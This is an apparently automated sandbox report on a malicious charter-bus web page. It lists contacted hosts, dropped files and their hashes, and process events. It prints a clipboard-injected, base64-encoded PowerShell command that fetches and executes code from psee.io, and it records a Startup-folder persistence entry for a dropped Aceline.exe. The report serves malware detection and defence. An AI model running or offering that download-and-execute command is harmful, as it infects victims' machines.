https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestions	chrome.exe, 0000000E.00000002.2061764648.0000119001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2096055959.0000146001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148449499.00004C5801994000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nonexistent.googlezip.net/	chrome.exe, 0000000E.00000003.2037264301.0000119001040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2055268140.0000119001048000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2053209181.0000146001040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2088885306.00004C5801040000.00000004.00000800.00020000.00000000.sdmp	false		high
https://googleusercontent.comb	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bitly.cx	powershell.exe, 00000009.00000002.1749078220.00000000052A3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.jegs.com/webapp/wcs/stores/servlet/OrderItemDisplay	chrome.exe, 0000000E.00000002.2052865239.000011900060C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2074491157.0000146000610000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2120252056.00004C5800610000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pastebin.com/raw/yraPuhAK	Aceline.exe, 0000000D.00000002.2112993095.0000026B2D1B1000.00000004.00000001.00020000.00000000.sdmp	false		high
https://tunnel-staging.googlezip.net/2	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000009.00000002.1750643154.000000000604C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Y1	chrome.exe, 00000011.00000003.2127746299.00004C58012A0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_M1_CrossAppWebAra_1_Stable_20230926_A	chrome.exe, 0000000E.00000002.2057335305.00001190012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087486697.00001460012FC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://psee.io	powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Control_Consent_AllAPIs_Old_limited_Stable_20230807	chrome.exe, 0000000E.00000002.2057625057.00001190013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087814030.00001460013A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/2	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nonexistent.googlezip.net/b	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Z&	chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/	chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/	chrome.exe, 00000011.00000003.2128822420.00004C580130C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://psee.io/7m2yhx(:	powershell.exe, 00000009.00000002.1749078220.0000000005144000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload	chrome.exe, 00000011.00000002.2146004278.00004C5801508000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.privacysandbox.comb	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ	chrome.exe, 0000000E.00000003.2036829046.0000119000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2063201853.0000119001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000003.2051384429.0000146000804000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2100107185.0000146001C04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chromesuggestionsEnabled	chrome.exe, 0000000E.00000002.2061764648.0000119001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2096055959.0000146001994000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148449499.00004C5801994000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/LX	chrome.exe, 00000011.00000003.2129998035.00004C580134C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129557092.00004C5801344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129153008.00004C5801324000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129447739.00004C5801334000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129725325.00004C5801348000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000003.2129065346.00004C5801314000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/coacEnableFullscreenAppListEnablePlayStoreAppSearchEnableFullscreenAppListEna	chrome.exe, 0000000E.00000002.2062483604.0000119001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2098265781.0000146001A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000011.00000002.2148996080.00004C5801A70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload2	chrome.exe, 00000011.00000003.2086586337.00004C5800804000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/https://google-ohttp-relay-join.fastly-edge.com/	chrome.exe, 0000000E.00000002.2056322361.00001190011B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000E.00000002.2057131461.0000119001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2087274773.0000146001278000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000000F.00000002.2086387899.00001460011B0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=blocked	chrome.exe, 0000000E.00000002.2054231637.0000119000F18000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.43.51.48	unknown	United States	35994	AKAMAI-ASUS	false
75.2.108.141	epsilon.6sense.com	United States	16509	AMAZON-02US	false
34.239.236.43	psee.io	United States	14618	AMAZON-AESUS	false
23.43.51.47	e212585.b.akamaiedge.net	United States	35994	AKAMAI-ASUS	false
172.67.146.180	browngreencolors.top	United States	13335	CLOUDFLARENETUS	false
142.250.101.156	stats.g.doubleclick.net	United States	15169	GOOGLEUS	false
18.188.153.65	gogocharters.com	United States	16509	AMAZON-02US	false
70.40.216.191	ia-robotics.com	United States	46606	UNIFIEDLAYER-AS-1US	false
104.254.148.252	unknown	United States	29990	ASN-APPNEXUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
142.251.2.154	googleads.g.doubleclick.net	United States	15169	GOOGLEUS	false
142.250.101.105	www.google.com	United States	15169	GOOGLEUS	false
50.57.243.90	clients.contology.com	United States	32244	LIQUIDWEBUS	false
104.254.151.60	ib.anycast.adnxs.com	United States	29990	ASN-APPNEXUS	false
104.26.12.205	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	septembergoodwine.top	United States	13335	CLOUDFLARENETUS	false
142.250.101.103	unknown	United States	15169	GOOGLEUS	false
144.172.101.228	unknown	United States	53667	PONYNETUS	true
54.175.154.40	myvocabulary.com	United States	14618	AMAZON-AESUS	true
216.239.32.181	analytics-alv.google.com	United States	15169	GOOGLEUS	false
142.251.2.93	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
150.171.27.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
74.125.137.104	unknown	United States	15169	GOOGLEUS	false
104.21.95.172	unknown	United States	13335	CLOUDFLARENETUS	false
99.83.231.3	unknown	United States	16509	AMAZON-02US	false
142.250.141.94	beacons-handoff.gcp.gvt2.com	United States	15169	GOOGLEUS	false
104.21.91.178	bitly.cx	United States	13335	CLOUDFLARENETUS	false
172.67.74.152	api.ipify.org	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1696266
Start date and time:	2025-05-21 21:46:53 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://gogocharters.com/lexington-charter-bus
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.phis.troj.spyw.expl.evad.win@50/221@78/29
EGA Information:	Successful, ratio: 57.1%
HCA Information:	Successful, ratio: 69% Number of executed functions: 86 Number of non-executed functions: 3

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 142.250.101.113, 142.250.101.139, 142.250.101.138, 142.250.101.100, 142.250.101.101, 142.250.101.102, 74.125.137.84, 142.250.141.138, 142.250.141.100, 142.250.141.139, 142.250.141.102, 142.250.141.113, 142.250.141.101, 142.251.2.138, 142.251.2.102, 142.251.2.113, 142.251.2.101, 142.251.2.139, 142.251.2.100, 142.250.101.97, 74.125.137.94, 142.251.2.94, 23.66.134.242
Excluded domains from analysis (whitelisted): ev2-ring.msedge.net, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, c2a9c95e369881c67228a6591cac2686.clo.footprintdns.com, ax-ring.msedge.net, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, www.googletagmanager.com, bat.bing.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, c.pki.goog, www.google-analytics.com
Execution Graph export aborted for target Aceline.exe, PID 4216 because there are no executed function
Execution Graph export aborted for target chrome.exe, PID 7448 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7348 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://gogocharters.com/lexington-charter-bus

Simulations

Behavior and APIs

Time	Type	Description
15:48:19	API Interceptor	44x Sleep call for process: powershell.exe modified
15:48:40	API Interceptor	489x Sleep call for process: Aceline.exe modified
21:48:18	Clipboard	Run: powershell /ep bypass /e JABiAD0AKABOAGUAdwAtAG8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABzACcAKwAnAGUAZQAuAGkAbwAvADcAbQAnACsAJwAyAHkAaAB4ACcAKQA7AGkAZQBYACAAJABiADsA /W 1
21:48:44	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Aceline.url

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5946776
Entropy (8bit):	6.838482833956945
Encrypted:	false
SSDEEP:	98304:Kii0LgHXMBBBBB2UWUznpXqQCvZ4AIKrw68OUAJUdrQOs8OWN3zBkTVjgkb/kOUV:ziSg3MBBBBB2UWUznpXqlvZ4AIKrw68V
MD5:	FFD09F92A5477A88E376970A0348DDD6
SHA1:	2AC9EDCA1B6505EEA8686D0206BF37A266D9BF65
SHA-256:	82767F8B2546A8C234EF212203452A24962EDEE5E8CCB936179499288340D016
SHA-512:	29E979A4CB73A8AD5FE881019AC5A40BC045CA5ED69F3EDBD0EA68603050615C617AC0C8E1E2CA3A2223FF091D0FE5B0A1994BC1E44587F1EB57CA9C306652E3
Malicious:	true
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.L..."..."..."......"..#..."..#!..."..#&..."..#'.0."..##..."...&..."...$..."...#..."...#.\|."..#+..."..#"..."..#..."......."..# ...".Rich..".................PE..d....V.g.........."....*.`/..2.................@..............................Z.....Y\Z...`..........................................kC.....tlC......PG.......E.d<...lZ..Q...0H.......;.......................;.(...p.;.@............p/.H............................text....^/......`/................. ..`.rdata...6...p/..8...d/.............@..@.data... T....C..D....C.............@....pdata..d<....E..>....D.............@..@.rsrc........PG.......G.............@..@.reloc...T...0H..T....G.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Aceline.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Aceline.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	434
Entropy (8bit):	5.383282394444275
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp151KDLI4MN5I/k1Bv:ML9E4KQ71qE4GIsD
MD5:	00930768B2E044245AC5529BC4F2FFDF
SHA1:	DF262F47F31653AAE570477B12B90B2E385A8D50
SHA-256:	E0A23AC0FD66AC2AD5922D20187B374A1B7B148FF47CABB69441EB2F699008C8
SHA-512:	76F371B3D2FCE707DA45DCA1755DE56BA7AC8827E5F18F900E52AEF35AEF3D42B39F656CC08A10372872BA601AFD9E6F3D930A98F92A3F9A885E9B6CBAF38ADA
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	5.465152489498165
Encrypted:	false
SSDEEP:	48:z1WSU4YymI4RIoUeW+mZ9tK8NWR8PSNRrsR908dym:z1LHYvIIfLmZ2KWEUIS8Em
MD5:	26A84DC381361FB9B7AE0658910A101F
SHA1:	D5FCD9A8F2765D6C24A5DF92C1C61628E95B2763
SHA-256:	86B26574F698305C86B179DE511C7BA20B6F65A18A12E0A959A00B77FAA8E476
SHA-512:	D1890D0BE2757E4580D7B02DDEB653FCEAB12A5D6CFA7D9E256864F0EC724E21B5598144C8D3D4FA6284CBB81B3333A45BB7EDFB95C76CF3739CC3AB338CA233
Malicious:	false
Reputation:	low
Preview:	@...e...........B.....................,..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\Aceline.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5946776
Entropy (8bit):	6.838482833956945
Encrypted:	false
SSDEEP:	98304:Kii0LgHXMBBBBB2UWUznpXqQCvZ4AIKrw68OUAJUdrQOs8OWN3zBkTVjgkb/kOUV:ziSg3MBBBBB2UWUznpXqlvZ4AIKrw68V
MD5:	FFD09F92A5477A88E376970A0348DDD6
SHA1:	2AC9EDCA1B6505EEA8686D0206BF37A266D9BF65
SHA-256:	82767F8B2546A8C234EF212203452A24962EDEE5E8CCB936179499288340D016
SHA-512:	29E979A4CB73A8AD5FE881019AC5A40BC045CA5ED69F3EDBD0EA68603050615C617AC0C8E1E2CA3A2223FF091D0FE5B0A1994BC1E44587F1EB57CA9C306652E3
Malicious:	true
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......P.L..."..."..."......"..#..."..#!..."..#&..."..#'.0."..##..."...&..."...$..."...#..."...#.\|."..#+..."..#"..."..#..."......."..# ...".Rich..".................PE..d....V.g.........."....*.`/..2.................@..............................Z.....Y\Z...`..........................................kC.....tlC......PG.......E.d<...lZ..Q...0H.......;.......................;.(...p.;.@............p/.H............................text....^/......`/................. ..`.rdata...6...p/..8...d/.............@..@.data... T....C..D....C.............@....pdata..d<....E..>....D.............@..@.rsrc........PG.......G.............@..@.reloc...T...0H..T....G.............@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\VWSECTGEBPBA.zip

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3057469
Entropy (8bit):	7.997708305736316
Encrypted:	true
SSDEEP:	49152:rzJa4gBmsJApNGF0bPGyiHUWKTEJkMEwQtEijj1JmBfvAtzAYz1A7cCNFPpoa4ul:rzI4IALk0bP4wMZXqpjzmtItzAYz1Aow
MD5:	303A479FD0C7AD7B220C84C2CE621056
SHA1:	DFBB97820BAB36B141228F54AE864A7324D079AB
SHA-256:	1BDA613A78B0FF0B8DC6C6C1E20CAF869BE3E4E5AB99226FDF14535E23D5D75B
SHA-512:	B511051F1CE09B19410C42ADDC0FB0849B76529FCF12397F634C6CEE0F5B687E35DFA5FCC93D669F8A4C827AFF43F0DB24EE31845B04C7DF91640B626817E1AF
Malicious:	false
Reputation:	low
Preview:	PK...........Z=........Z.....Aceline.exe.Z{xTE.?...@B..3:j.A......4..j..,=2y .......*.&.n>Lv.0.....W......)...N....Dt%jX.y... .e=.....d...w>..._UuuU...9k.XA....B..?Y./..:AH..'A.h..5:...\..u..g.X..w...<.l...E...X.?cu.O........6..(hp7$m.k}..;N\|.^..0...[X;r....Zw'k.....Q.C.x.W.....uqL.....~...........ub.......V6...'._kcA. ,\|y..8..O........1Bq. .w+.[3\....f....1.0H].h..s..g......@...Og....f.F.+.L...8.#,..,.s..@.p.u.?....(..!.@..CUT.,I..)....W.hY...yi\!.]..c..qK..([ ...Ob2..h..E.e...8.`..J....'....\|.qK8#....B{..W...@...\|#.....Q...>...3_.....$.....5...........%...s1....p..yDI......`!^....f'6......Ea...'.KC.&\.h.....-.q=..../.....5t.....i...zM..\$..&..-....u....Y...g.j.y.hr.b.a....u.\|z.l...z.z....e..{s.N....:^C../j.v....i.m.z..^..+4t.....n....S5t.....7.i......EC....4....FCWh.R.]....:SC.j.d....o\....5t.....i...z.......HC.5t..N....:^C..Ac..n..-.z....7h.5..BC.j.".....'.^C.Y.P....}....\|7.,...\|W...]..\|.......%H........U........^x;...0({..V.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5x22ncaj.brh.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tao1ooin.vmo.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tnept4w3.r24.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xfm2vfh5.bva.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ynunec5k.wpk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yywwexop.bkt.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	low
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp31FF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\Aceline.exe
